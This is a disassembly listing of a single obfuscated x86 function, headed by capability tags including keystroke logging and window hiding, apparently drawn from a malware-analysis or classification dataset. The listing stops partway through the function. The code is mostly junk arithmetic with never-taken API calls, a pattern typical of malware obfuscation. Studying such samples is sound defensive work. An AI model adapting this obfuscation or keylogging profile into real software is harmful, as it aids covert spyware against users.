Function at 0x45eee1
Capabilities:
Enumerate gui resources
Get file size
Hide graphical window
Log keystrokes via polling
Query or enumerate registry key
Read .ini file
Resume thread
Suspend thread

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x62d4
call fcn.004aa9c0
push esi
push edi
mov dword [ebp - 0x6f0], 0x77c8748a
mov dword [ebp - 0x80], 0x9bd697e7
mov dword [ebp - 0x14c], 0xf8d19c92
push 4
lea ecx, [ebp - 0xa60]
call fcn.004147f5
mov dword [ebp - 0x3a8], 0xffffffff
mov dword [ebp - 0x3da8], 1
mov dword [ebp - 0xaec], 0
jmp 0x45ef45
mov eax, dword [ebp - 0xaec]
inc eax
mov dword [ebp - 0xaec], eax
cmp dword [ebp - 0xaec], 4
jge 0x45ef67
push dword [ebp - 0xaec]
lea ecx, [ebp - 0xa60]
call fcn.004148e3
mov dword [eax], 0xcde9e843
jmp 0x45ef38
mov eax, dword [ebp - 0x6f0]
inc eax
mov dword [ebp - 0x6f0], eax
je 0x45ef87
xor eax, eax
inc eax
je 0x45ef87
mov dword [ebp - 0x322c], 1
jmp 0x45ef8e
and dword [ebp - 0x322c], 0
cmp dword [ebp - 0x322c], 0x3e86f8c7
jne 0x45efa6
mov dword [ebp - 0x3770], 1
jmp 0x45efad
and dword [ebp - 0x3770], 0
mov eax, dword [ebp - 0x3770]
inc eax
je 0x45efcb
cmp dword [ebp - 0x6f0], 0
je 0x45efcb
mov dword [ebp - 0x3778], 1
jmp 0x45efd2
and dword [ebp - 0x3778], 0
mov eax, dword [ebp - 0x3778]
mov dword [ebp - 0x80], eax
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0x14c], eax
mov dword [ebp - 0x80], 0
jmp 0x45eff4
mov eax, dword [ebp - 0x80]
inc eax
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 3
jg 0x45f5da
mov dword [ebp - 0x84], 1
mov dword [ebp - 0x3dc8], 0x503ecef3
push dword [ebp - 0x80]
lea ecx, [ebp - 0xa60]
call fcn.004148e3
cmp dword [eax], 0
je 0x45f044
push dword [ebp - 0x80]
lea ecx, [ebp - 0xa60]
call fcn.004148e3
cmp dword [eax], 0
je 0x45f044
mov dword [ebp - 0x3780], 1
jmp 0x45f04b
and dword [ebp - 0x3780], 0
push dword [ebp - 0x80]
lea ecx, [ebp - 0xa60]
call fcn.004148e3
mov ecx, dword [ebp - 0x3780]
cmp ecx, dword [eax]
jge 0x45f06f
mov dword [ebp - 0x3788], 1
jmp 0x45f076
and dword [ebp - 0x3788], 0
push dword [ebp - 0x80]
lea ecx, [ebp - 0xa60]
call fcn.004148e3
mov ecx, dword [ebp - 0x3788]
add ecx, dword [eax]
jne 0x45f09a
mov dword [ebp - 0x3790], 1
jmp 0x45f0a1
and dword [ebp - 0x3790], 0
mov eax, dword [ebp - 0x3790]
mov dword [ebp - 0x84], eax
mov esi, dword [ebp - 0x84]
push 3
lea ecx, [ebp - 0xa60]
call fcn.004148e3
cmp esi, dword [eax]
jle 0x45f0d0
mov dword [ebp - 0x3b60], 1
jmp 0x45f0d7
and dword [ebp - 0x3b60], 0
mov dword [ebp - 0x14c], 8
mov eax, dword [ebp - 0x14c]
mov dword [ebp - 0x50ac], eax
mov eax, dword [ebp - 0x6f0]
mov dword [ebp - 0x5dd8], eax
push 0
lea ecx, [ebp - 0xa60]
call fcn.004148e3
push 2
pop eax
test eax, eax
je 0x45f122
cmp dword [ebp - 0x14c], 0
je 0x45f122
mov dword [ebp - 0x3798], 1
jmp 0x45f129
and dword [ebp - 0x3798], 0
push dword [ebp - 0x80]
lea ecx, [ebp - 0xa60]
call fcn.004148e3
mov ecx, dword [ebp - 0x3798]
cmp ecx, dword [eax]
jge 0x45f14d
mov dword [ebp - 0x37a0], 1
jmp 0x45f154
and dword [ebp - 0x37a0], 0
cmp dword [ebp - 0x37a0], 0
jl 0x45f169
mov dword [ebp - 0x37a8], 1
jmp 0x45f170
and dword [ebp - 0x37a8], 0
push 3
lea ecx, [ebp - 0xa60]
call fcn.004148e3
mov ecx, dword [ebp - 0x37a8]
cmp ecx, dword [eax]
jg 0x45f193
mov dword [ebp - 0x3d98], 1
jmp 0x45f19a
and dword [ebp - 0x3d98], 0
push dword [ebp - 0x80]
lea ecx, [ebp - 0xa60]
call fcn.004148e3
mov eax, dword [eax]
mov dword [ebp - 0x3a8], eax
cmp dword [ebp - 0x3a8], 0x197cbb40
jne 0x45f1c8
mov dword [ebp - 0x37bc], 1
jmp 0x45f1cf
and dword [ebp - 0x37bc], 0
push dword [ebp - 0x80]
lea ecx, [ebp - 0xa60]
call fcn.004148e3
mov eax, dword [eax]
cmp eax, dword [ebp - 0x37bc]
jne 0x45f1f3
mov dword [ebp - 0x37c4], 1
jmp 0x45f1fa
and dword [ebp - 0x37c4], 0
mov eax, dword [ebp - 0x37c4]
sub eax, 0xa
je 0x45f460
push 2
lea ecx, [ebp - 0x471c]
call fcn.004147f5
mov dword [ebp - 0xde4], 0
jmp 0x45f22f
mov eax, dword [ebp - 0xde4]
inc eax
mov dword [ebp - 0xde4], eax
cmp dword [ebp - 0xde4], 2
jge 0x45f251
push dword [ebp - 0xde4]
lea ecx, [ebp - 0x471c]
call fcn.004148e3
mov dword [eax], 0x8b9db5df
jmp 0x45f222
mov dword [ebp - 0x84], 0
jmp 0x45f26a
mov eax, dword [ebp - 0x84]
inc eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 2
jne 0x45f298
mov byte [ebp - 0x6e6], 0
movzx eax, byte [ebp - 0x6e6]
test eax, eax
je 0x45f296
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowRgn]
jmp 0x45f25d
mov dword [ebp - 0x3a8], 0xffffffe4
jmp 0x45f2b1
mov eax, dword [ebp - 0x3a8]
inc eax
mov dword [ebp - 0x3a8], eax
cmp dword [ebp - 0x3a8], 0x15
jne 0x45f450
mov dword [ebp - 0x3db0], 0x53cf54ce
mov dword [ebp - 0x37fc], 0
mov dword [ebp - 0x14c], 0x19
jmp 0x45f2eb
mov eax, dword [ebp - 0x14c]
inc eax
mov dword [ebp - 0x14c], eax
cmp dword [ebp - 0x14c], 0x1c
jg 0x45f44b
mov dword [ebp - 0x3db8], 0x456a9e5f
mov eax, dword [ebp - 0x14c]
cmp dword [ebp - 0x6f0], eax
jne 0x45f31c
mov dword [ebp - 0x3da0], 1
jmp 0x45f323
and dword [ebp - 0x3da0], 0
mov eax, dword [ebp - 0x3da8]
mov dword [ebp - 0x56f4], eax
mov eax, dword [ebp - 0x3db0]
sub eax, 0x2ce7bce5
cmp eax, dword [ebp - 0x80]
jge 0x45f34b
mov dword [ebp - 0x37cc], 1
jmp 0x45f352
and dword [ebp - 0x37cc], 0
cmp dword [ebp - 0x37cc], 0xa6b9
jg 0x45f36a
mov dword [ebp - 0x37d4], 1
jmp 0x45f371
and dword [ebp - 0x37d4], 0
mov eax, dword [ebp - 0x37d4]
add eax, 0x10f71350
jne 0x45f38a
mov dword [ebp - 0x37dc], 1
jmp 0x45f391
and dword [ebp - 0x37dc], 0
cmp dword [ebp - 0x37dc], 1
jl 0x45f3a6
mov dword [ebp - 0x37e4], 1
jmp 0x45f3ad
and dword [ebp - 0x37e4], 0
push dword [ebp - 0x80]
lea ecx, [ebp - 0xa60]
call fcn.004148e3
mov eax, 0x2edcddcd
cmp eax, 1
jb 0x45f3d1
mov dword [ebp - 0x37ec], 1
jmp 0x45f3d8
and dword [ebp - 0x37ec], 0
mov eax, dword [ebp - 0x84]
mov ecx, dword [ebp - 0x37ec]
lea esi, [ecx + eax + 0x9032]
imul esi, dword [ebp - 0x3db8]
push 1
lea ecx, [ebp - 0x471c]
call fcn.004148e3
cmp esi, dword [eax]
je 0x45f40f
mov dword [ebp - 0x37f4], 1
jmp 0x45f416
and dword [ebp - 0x37f4], 0
mov eax, dword [ebp - 0x37f4]
mov dword [ebp - 0x37fc], eax
mov esi, dword [ebp - 0x37fc]
push 0
lea ecx, [ebp - 0x471c]
call fcn.004148e3
sub esi, dword [eax]
push 2
lea ecx, [ebp - 0xa60]
call fcn.004148e3
mov dword [eax], esi
jmp 0x45f2de
jmp 0x45f2a4
lea ecx, [ebp - 0x471c]
call fcn.004148c7
jmp 0x45f59c
mov dword [ebp - 0x381c], 0x66802143
mov dword [ebp - 0x3dd8], 1
mov byte [ebp - 0x65d], 0
movzx eax, byte [ebp - 0x65d]
test eax, eax
je 0x45f490
push 0
push 0
call dword [sym.imp.USER32.dll_GetMonitorInfoW]
mov eax, dword [ebp - 0x84]
mov dword [ebp - 0x5b54], eax
mov eax, dword [ebp - 0x14c]
mov dword [ebp - 0x56fc], eax
cmp dword [ebp - 0x14c], 0xfffffff9
jae 0x45f4bd
mov dword [ebp - 0x3dc0], 1
jmp 0x45f4c4
and dword [ebp - 0x3dc0], 0
cmp dword [ebp - 0x84], 0xe516
jl 0x45f4dc
mov dword [ebp - 0x3804], 1
jmp 0x45f4e3
and dword [ebp - 0x3804], 0
mov eax, dword [ebp - 0x84]
add eax, dword [ebp - 0x3804]
je 0x45f506
cmp dword [ebp - 0x84], 0
je 0x45f506
mov dword [ebp - 0x380c], 1
jmp 0x45f50d
and dword [ebp - 0x380c], 0
mov eax, dword [ebp - 0x3dc8]
cmp dword [ebp - 0x380c], eax
jg 0x45f527
mov dword [ebp - 0x3dd0], 1
jmp 0x45f52e
and dword [ebp - 0x3dd0], 0
mov eax, dword [ebp - 0x84]
mov dword [ebp - 0x5f38], eax
mov eax, dword [ebp - 0x14c]
mov dword [ebp - 0x3814], eax
push dword [ebp - 0x80]
lea ecx, [ebp - 0xa60]
call fcn.004148e3
mov ecx, dword [ebp - 0x3814]
mov dword [eax], ecx
mov eax, dword [ebp - 0x3814]
mov dword [ebp - 0x381c], eax
mov eax, dword [ebp - 0x381c]
imul eax, dword [ebp - 0x3dd8]
cmp eax, dword [ebp - 0x3a8]
jl 0x45f589
mov dword [ebp - 0x3824], 1
jmp 0x45f590
and dword [ebp - 0x3824], 0
mov eax, dword [ebp - 0x3824]
mov dword [ebp - 0x3a8], eax
mov dword [ebp - 0x84], 3
jmp 0x45f5b5
mov eax, dword [ebp - 0x84]
dec eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0
jl 0x45f5d5
push dword [ebp - 0x80]
lea ecx, [ebp - 0xa60]
call fcn.004148e3
cmp dword [eax], 0
je 0x45f5d3
jmp 0x45f5d5
jmp 0x45f5a8
jmp 0x45efed
lea ecx, [ebp - 0xa60]
call fcn.004148c7
mov dword [ebp - 0x4f18], 0xba6b42be
mov dword [ebp - 0x382c], 1
mov dword [ebp - 0x254], 0
jmp 0x45f612
mov eax, dword [ebp - 0x254]
inc eax
mov dword [ebp - 0x254], eax
cmp dword [ebp - 0x254], 1
jge 0x45f62e
mov eax, dword [ebp - 0x254]
mov dword [ebp + eax*4 - 0x84c], 0xffffffff
jmp 0x45f605
mov dword [ebp - 0x254], 0
jmp 0x45f647
mov eax, dword [ebp - 0x254]
inc eax
mov dword [ebp - 0x254], eax
cmp dword [ebp - 0x254], 4
jge 0x45f663
mov eax, dword [ebp - 0x254]
mov dword [ebp + eax*4 - 0x61b0], 0x67120dd9
jmp 0x45f63a
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x84c], 0xfffffff0
jmp 0x45f691
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x84c]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x84c], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x84c], 0xd
jne 0x45fac3
mov dword [ebp - 0xf60], 0xeede0b40
mov dword [ebp - 0x1340], 0x551fa4c8
mov dword [ebp - 0x3884], 0x5bb08661
mov dword [ebp - 0x386c], 0
mov dword [ebp - 0xaf4], 0
jmp 0x45f6e6
mov eax, dword [ebp - 0xaf4]
inc eax
mov dword [ebp - 0xaf4], eax
cmp dword [ebp - 0xaf4], 3
jge 0x45f702
mov eax, dword [ebp - 0xaf4]
mov dword [ebp + eax*4 - 0x5960], 0x84132d38
jmp 0x45f6d9
mov dword [ebp - 0xf60], 0
jmp 0x45f71b
mov eax, dword [ebp - 0xf60]
dec eax
mov dword [ebp - 0xf60], eax
cmp dword [ebp - 0xf60], 0xffffffee
jl 0x45fabe
mov dword [ebp - 0x89c], 0x3c891c55
mov dword [ebp - 0x4f1c], 0x1c5a3d7f
mov dword [ebp - 0xafc], 0
jmp 0x45f755
mov eax, dword [ebp - 0xafc]
inc eax
mov dword [ebp - 0xafc], eax
cmp dword [ebp - 0xafc], 4
jge 0x45f771
mov eax, dword [ebp - 0xafc]
mov dword [ebp + eax*4 - 0x5e70], 0xffffffff
jmp 0x45f748
mov dword [ebp - 0x89c], 0
jmp 0x45f78a
mov eax, dword [ebp - 0x89c]
dec eax
mov dword [ebp - 0x89c], eax
cmp dword [ebp - 0x89c], 0xffffffee
jg 0x45fab9
push 3
lea ecx, [ebp - 0x4734]
call fcn.004147f5
mov dword [ebp - 0x4f24], 0x9b27fa3d
mov dword [ebp - 0xdec], 0xffffffff
mov dword [ebp - 0x4f2c], 0x717f4039
mov dword [ebp - 0x3de0], 0xc14ab653
mov dword [ebp - 0x3de8], 0x966ef3b0
push 2
lea ecx, [ebp - 0x4b90]
call fcn.004147f5
mov dword [ebp - 0x250], 0
jmp 0x45f7fc
mov eax, dword [ebp - 0x250]
inc eax
mov dword [ebp - 0x250], eax
cmp dword [ebp - 0x250], 3
jge 0x45f81e
push dword [ebp - 0x250]
lea ecx, [ebp - 0x4734]
call fcn.004148e3
mov dword [eax], 0xfe23a266
jmp 0x45f7ef
mov dword [ebp - 0x250], 0
jmp 0x45f837
mov eax, dword [ebp - 0x250]
inc eax
mov dword [ebp - 0x250], eax
cmp dword [ebp - 0x250], 2
jge 0x45f856
push dword [ebp - 0x250]
lea ecx, [ebp - 0x4b90]
call fcn.004148e3
or dword [eax], 0xffffffff
jmp 0x45f82a
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x84c]
mov dword [ebp - 0x4f34], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x5e70]
mov dword [ebp - 0x4f3c], eax
mov eax, dword [ebp - 0x386c]
mov dword [ebp - 0x4f44], eax
mov eax, dword [ebp - 0x3de0]
mov dword [ebp - 0x3de8], eax
imul eax, dword [ebp - 0x3884], 0xffff
mov dword [ebp - 0x382c], eax
mov eax, dword [ebp - 0x382c]
mov dword [ebp - 0x3834], eax
push 1
lea ecx, [ebp - 0x4b90]
call fcn.004148e3
mov ecx, dword [ebp - 0x3834]
mov dword [eax], ecx
cmp dword [ebp - 0x3834], 5
jg 0x45f8da
mov dword [ebp - 0x383c], 1
jmp 0x45f8e1
and dword [ebp - 0x383c], 0
push 0
lea ecx, [ebp - 0x4734]
call fcn.004148e3
mov ecx, dword [ebp - 0x383c]
cmp ecx, dword [eax]
jl 0x45f904
mov dword [ebp - 0x3844], 1
jmp 0x45f90b
and dword [ebp - 0x3844], 0
cmp dword [ebp - 0x3844], 1
jl 0x45f920
mov dword [ebp - 0x384c], 1
jmp 0x45f927
and dword [ebp - 0x384c], 0
cmp dword [ebp - 0x384c], 0x70c1
jl 0x45f93f
mov dword [ebp - 0x3854], 1
jmp 0x45f946
and dword [ebp - 0x3854], 0
mov eax, dword [ebp - 0x3854]
mov dword [ebp - 0x1340], eax
mov eax, dword [ebp - 0x89c]
cmp dword [ebp - 0x1340], eax
jge 0x45f97b
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x5e70], 0
je 0x45f97b
mov dword [ebp - 0x385c], 1
jmp 0x45f982
and dword [ebp - 0x385c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x5960]
inc eax
mov dword [ebp - 0x3864], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x3864]
mov dword [ebp + eax - 0x5960], ecx
mov eax, dword [ebp - 0x385c]
add eax, 0x4559
cmp dword [ebp - 0x3864], eax
je 0x45f9c8
mov dword [ebp - 0x3874], 1
jmp 0x45f9cf
and dword [ebp - 0x3874], 0
mov eax, dword [ebp - 0x386c]
cmp dword [ebp - 0x3874], eax
jne 0x45f9e9
mov dword [ebp - 0x387c], 1
jmp 0x45f9f0
and dword [ebp - 0x387c], 0
push 2
lea ecx, [ebp - 0x4734]
call fcn.004148e3
mov eax, dword [eax]
imul eax, dword [ebp - 0x387c]
add eax, dword [ebp - 0x3884]
push 4
pop ecx
imul ecx, ecx, 0
imul eax, dword [ebp + ecx - 0x84c]
cmp eax, 0x6377f0a0
jne 0x45fa2d
mov dword [ebp - 0x388c], 1
jmp 0x45fa34
and dword [ebp - 0x388c], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x5e70]
cmp dword [ebp - 0x388c], eax
jne 0x45fa55
mov dword [ebp - 0x3894], 1
jmp 0x45fa5c
and dword [ebp - 0x3894], 0
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0x3894]
mov dword [ebp + eax - 0x61b0], ecx
mov dword [ebp - 0xdec], 0
jmp 0x45fa88
mov eax, dword [ebp - 0xdec]
dec eax
mov dword [ebp - 0xdec], eax
cmp dword [ebp - 0xdec], 0xfffffff5
jl 0x45fa9e
cmp dword [ebp - 0x1340], 0
je 0x45fa9c
jmp 0x45fa9e
jmp 0x45fa7b
lea ecx, [ebp - 0x4b90]
call fcn.004148c7
lea ecx, [ebp - 0x4734]
call fcn.004148c7
jmp 0x45f77d
jmp 0x45f70e
jmp 0x45f676
mov dword [ebp - 0x4f4c], 0
mov byte [ebp - 0x6d8], 0
movzx eax, byte [ebp - 0x6d8]
test eax, eax
je 0x45fb07
push 0x19a6
push 0x23b4
push 0x1141
push 0x1069
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Rectangle]
mov byte [ebp - 0x665], 0
movzx eax, byte [ebp - 0x665]
test eax, eax
je 0x45fb21
push 0
call dword [sym.imp.KERNEL32.dll_HeapDestroy]
mov dword [ebp - 0x718], 0x77c8748a
mov dword [ebp - 0x68], 0x9bd697e7
mov dword [ebp - 0xf64], 0xfffffffc
mov dword [ebp - 0x3df0], 0xfa72c25
mov dword [ebp - 0x4f54], 0x2e1dfe00
mov dword [ebp - 0x389c], 1
mov dword [ebp - 0xb04], 0
jmp 0x45fb73
mov eax, dword [ebp - 0xb04]
inc eax
mov dword [ebp - 0xb04], eax
cmp dword [ebp - 0xb04], 2
jge 0x45fb8f
mov eax, dword [ebp - 0xb04]
mov dword [ebp + eax*4 - 0x6098], 0x6af1124f
jmp 0x45fb66
mov dword [ebp - 0xf64], 1
jmp 0x45fba8
mov eax, dword [ebp - 0xf64]
dec eax
mov dword [ebp - 0xf64], eax
cmp dword [ebp - 0xf64], 0
jl 0x45fbfd
mov dword [ebp - 0x4f5c], 8
mov dword [ebp - 0x4f64], 0x91e29ea4
mov dword [ebp - 0x4f6c], 1
mov dword [ebp - 0x4f74], 0xffffffff
mov dword [ebp - 0x4f7c], 0x26c312fb
mov eax, dword [ebp - 0x389c]
dec eax
mov dword [ebp - 0x389c], eax
cmp dword [ebp - 0x3df0], 0
je 0x45fbfb
jmp 0x45fb9b
jmp 0x45fb9b
mov dword [ebp - 0x154], 0xf8d19c92
push 4
lea ecx, [ebp - 0xa6c]
call fcn.004147f5
mov dword [ebp - 0x200], 0xffffffff
mov dword [ebp - 0xb0c], 0
jmp 0x45fc37
mov eax, dword [ebp - 0xb0c]
inc eax
mov dword [ebp - 0xb0c], eax
cmp dword [ebp - 0xb0c], 3
jge 0x45fc53
mov eax, dword [ebp - 0xb0c]
mov dword [ebp + eax*4 - 0x43d8], 0
jmp 0x45fc2a
mov dword [ebp - 0x200], 2
jmp 0x45fc6c
mov eax, dword [ebp - 0x200]
dec eax
mov dword [ebp - 0x200], eax
cmp dword [ebp - 0x200], 0
jl 0x45fe90
mov dword [ebp - 0x998], 0xed23b618
mov dword [ebp - 0xdf4], 0
jmp 0x45fc9c
mov eax, dword [ebp - 0xdf4]
inc eax
mov dword [ebp - 0xdf4], eax
cmp dword [ebp - 0xdf4], 1
jge 0x45fcb8
mov eax, dword [ebp - 0xdf4]
mov dword [ebp + eax*4 - 0x41a0], 0xfffffffb
jmp 0x45fc8f
mov dword [ebp - 0x998], 2
jmp 0x45fcd1
mov eax, dword [ebp - 0x998]
dec eax
mov dword [ebp - 0x998], eax
cmp dword [ebp - 0x998], 0
jl 0x45fe8b
push 2
lea ecx, [ebp - 0x4ba8]
call fcn.004147f5
mov dword [ebp - 0xb14], 0
jmp 0x45fd04
mov eax, dword [ebp - 0xb14]
inc eax
mov dword [ebp - 0xb14], eax
cmp dword [ebp - 0xb14], 2
jge 0x45fd26
push dword [ebp - 0xb14]
lea ecx, [ebp - 0x4ba8]
call fcn.004148e3
mov dword [eax], 0x79d44f4c
jmp 0x45fcf7
mov byte [ebp - 0x6da], 0
movzx eax, byte [ebp - 0x6da]
test eax, eax
je 0x45fd4e
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetBkColor]
cmp dword [ebp - 0x200], 0xacd4
jg 0x45fd66
mov dword [ebp - 0x38a4], 1
jmp 0x45fd6d
and dword [ebp - 0x38a4], 0
mov eax, dword [ebp - 0x200]
mov eax, dword [ebp + eax*4 - 0x43d8]
mov dword [ebp - 0x4f84], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x43d8], 0x5261fc42
je 0x45fd9e
mov dword [ebp - 0x38ac], 1
jmp 0x45fda5
and dword [ebp - 0x38ac], 0
mov eax, dword [ebp - 0x38a4]
cmp eax, dword [ebp - 0x38ac]
je 0x45fdbf
mov dword [ebp - 0x38b4], 1
jmp 0x45fdc6
and dword [ebp - 0x38b4], 0
mov eax, dword [ebp - 0x200]
mov ecx, dword [ebp - 0x38b4]
sub ecx, dword [ebp + eax*4 - 0x43d8]
cmp ecx, 0x1c77dcda
jg 0x45fded
mov dword [ebp - 0x4198], 1
jmp 0x45fdf4
and dword [ebp - 0x4198], 0
mov eax, dword [ebp - 0x200]
mov eax, dword [ebp + eax*4 - 0x43d8]
mov dword [ebp - 0x4f8c], eax
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x41a0], 0xffff
mov eax, dword [ebp - 0x200]
mov eax, dword [ebp + eax*4 - 0x43d8]
sub eax, dword [ebp - 0x200]
cmp eax, 0xffff
jge 0x45fe3e
mov dword [ebp - 0x38bc], 1
jmp 0x45fe45
and dword [ebp - 0x38bc], 0
mov eax, dword [ebp - 0x998]
cmp dword [ebp - 0x38bc], eax
jg 0x45fe5f
mov dword [ebp - 0x38c4], 1
jmp 0x45fe66
and dword [ebp - 0x38c4], 0
push 0
lea ecx, [ebp - 0x4ba8]
call fcn.004148e3
mov ecx, dword [ebp - 0x38c4]
mov dword [eax], ecx
lea ecx, [ebp - 0x4ba8]
call fcn.004148c7
jmp 0x45fcc4
jmp 0x45fc5f
mov dword [ebp - 0x3d0], 0xffffffff
mov dword [ebp - 0x33c], 0x56a3367f
push 1
lea ecx, [ebp - 0x1480]
call fcn.004147f5
mov dword [ebp - 0x134], 0
mov dword [ebp - 0x41b0], 0x3a60813c
mov dword [ebp - 0x101c], 0
jmp 0x45fede
mov eax, dword [ebp - 0x101c]
inc eax
mov dword [ebp - 0x101c], eax
cmp dword [ebp - 0x101c], 1
jge 0x45fefd
push dword [ebp - 0x101c]
lea ecx, [ebp - 0x1480]
call fcn.004148e3
and dword [eax], 0
jmp 0x45fed1
mov eax, dword [ebp - 0x33c]
mov dword [ebp - 0x4f94], eax
cmp dword [ebp - 0x33c], 0
jne 0x45ff20
xor eax, eax
inc eax
jne 0x45ff20
and dword [ebp - 0x38cc], 0
jmp 0x45ff2a
mov dword [ebp - 0x38cc], 1
cmp dword [ebp - 0x38cc], 1
ja 0x45ff3f
mov dword [ebp - 0x38d4], 1
jmp 0x45ff46
and dword [ebp - 0x38d4], 0
mov esi, dword [ebp - 0x33c]
imul eax, dword [ebp - 0x38d4], 5
xor ecx, ecx
sub ecx, eax
add esi, ecx
push 0
lea ecx, [ebp - 0x1480]
call fcn.004148e3
cmp esi, dword [eax]
jl 0x45ff76
mov dword [ebp - 0x41a8], 1
jmp 0x45ff7d
and dword [ebp - 0x41a8], 0
push 0
lea ecx, [ebp - 0x1480]
call fcn.004148e3
push 0
lea ecx, [ebp - 0x1480]
call fcn.004148e3
push 0
lea ecx, [ebp - 0x1480]
call fcn.004148e3
mov esi, eax
push 0
lea ecx, [ebp - 0x1480]
call fcn.004148e3
mov ecx, dword [esi]
imul ecx, dword [eax]
mov dword [ebp - 0x38dc], ecx
push 0
lea ecx, [ebp - 0x1480]
call fcn.004148e3
mov ecx, dword [ebp - 0x38dc]
mov dword [eax], ecx
mov eax, dword [ebp - 0x33c]
cmp dword [ebp - 0x38dc], eax
jne 0x45ffed
mov dword [ebp - 0x38e4], 1
jmp 0x45fff4
and dword [ebp - 0x38e4], 0
mov eax, dword [ebp - 0x33c]
imul eax, dword [ebp - 0x38e4]
mov dword [ebp - 0x134], eax
mov eax, dword [ebp - 0x33c]
cmp dword [ebp - 0x134], eax
jge 0x460021
mov dword [ebp - 0x38ec], 1
jmp 0x460028
and dword [ebp - 0x38ec], 0
mov eax, dword [ebp - 0x33c]
cmp dword [ebp - 0x38ec], eax
jge 0x460042
mov dword [ebp - 0x38f4], 1
jmp 0x460049
and dword [ebp - 0x38f4], 0
mov eax, dword [ebp - 0x38f4]
mov dword [ebp - 0x33c], eax
mov eax, dword [ebp - 0x33c]
mov dword [ebp - 0x41b0], eax
push 0
lea ecx, [ebp - 0x1480]
call fcn.004148e3
mov dword [eax], 1
cmp dword [ebp - 0x134], 1
jle 0x4600f5
mov dword [ebp - 0x134], 0
jmp 0x460096
mov eax, dword [ebp - 0x134]
dec eax
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x134], 0
jl 0x4600c1
mov byte [ebp - 0x66d], 0
movzx eax, byte [ebp - 0x66d]
test eax, eax
je 0x4600bf
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegGetKeySecurity]
jmp 0x460089
mov byte [ebp - 0x6dc], 0
movzx eax, byte [ebp - 0x6dc]
test eax, eax
je 0x4600f3
push 0
push 0xbce
push 0xf7a
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetDIBColorTable]
jmp 0x460131
mov dword [ebp - 0x134], 0
jmp 0x46010e
mov eax, dword [ebp - 0x134]
inc eax
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x134], 0
jg 0x460131
push dword [ebp - 0x134]
lea ecx, [ebp - 0x1480]
call fcn.004148e3
cmp dword [eax], 0
je 0x46012f
jmp 0x460131
jmp 0x460101
lea ecx, [ebp - 0x1480]
call fcn.004148c7
mov dword [ebp - 0x4340], 1
mov dword [ebp - 0x1348], 0x5425a80e
mov dword [ebp - 0x8a4], 0xfffffffd
mov dword [ebp - 0x3904], 0xfffffffa
mov dword [ebp - 0x3924], 0xf746e33a
mov dword [ebp - 0x41b8], 1
mov dword [ebp - 0x4f9c], 0x413f
mov dword [ebp - 0x4fa4], 0xc0e07525
mov dword [ebp - 0x4fac], 0xe9829cbc
mov dword [ebp - 0x4fb4], 0xfffffff9
mov dword [ebp - 0x4fbc], 0x5761ac7e
mov dword [ebp - 0x4fc4], 4
mov dword [ebp - 0x4fcc], 0x3e3585ca
mov dword [ebp - 0x4fd4], 0x8951fe51
mov dword [ebp - 0x4fdc], 0xcc86f803
mov dword [ebp - 0x4fe4], 0xfffffffa
mov dword [ebp - 0x4fec], 0xffffffff
mov dword [ebp - 0x4ff4], 3
mov dword [ebp - 0x4ffc], 0xe65dd4d1
mov dword [ebp - 0x5004], 0x8adc705b
mov dword [ebp - 0x500c], 0xb4584502
mov dword [ebp - 0x3160], 0xfffffff8
mov dword [ebp - 0xb1c], 0
jmp 0x460231
mov eax, dword [ebp - 0xb1c]
inc eax
mov dword [ebp - 0xb1c], eax
cmp dword [ebp - 0xb1c], 2
jge 0x46024d
mov eax, dword [ebp - 0xb1c]
mov dword [ebp + eax*4 - 0x61e8], 0xf61949f
jmp 0x460224
push 3
pop eax
test eax, eax
je 0x460369
mov eax, dword [ebp - 0x1348]
dec eax
dec eax
jne 0x460345
cmp dword [ebp - 0x1348], 0xfffffffb
ja 0x46027b
mov dword [ebp - 0x38fc], 1
jmp 0x460282
and dword [ebp - 0x38fc], 0
mov eax, dword [ebp - 0x38fc]
mov dword [ebp - 0x3904], eax
mov eax, dword [ebp - 0x8a4]
cmp dword [ebp - 0x3904], eax
jge 0x4602a8
mov dword [ebp - 0x390c], 1
jmp 0x4602af
and dword [ebp - 0x390c], 0
cmp dword [ebp - 0x390c], 0xa00d
jne 0x4602c7
mov dword [ebp - 0x3914], 1
jmp 0x4602ce
and dword [ebp - 0x3914], 0
imul eax, dword [ebp - 0x3914], 0xd5f8
test eax, eax
jne 0x4602ee
mov eax, 0x82c4475e
test eax, eax
jne 0x4602ee
and dword [ebp - 0x391c], 0
jmp 0x4602f8
mov dword [ebp - 0x391c], 1
mov eax, dword [ebp - 0x391c]
mov dword [ebp - 0x3924], eax
mov eax, dword [ebp - 0x8a4]
cmp dword [ebp - 0x3924], eax
je 0x46031e
mov dword [ebp - 0x3984], 1
jmp 0x460325
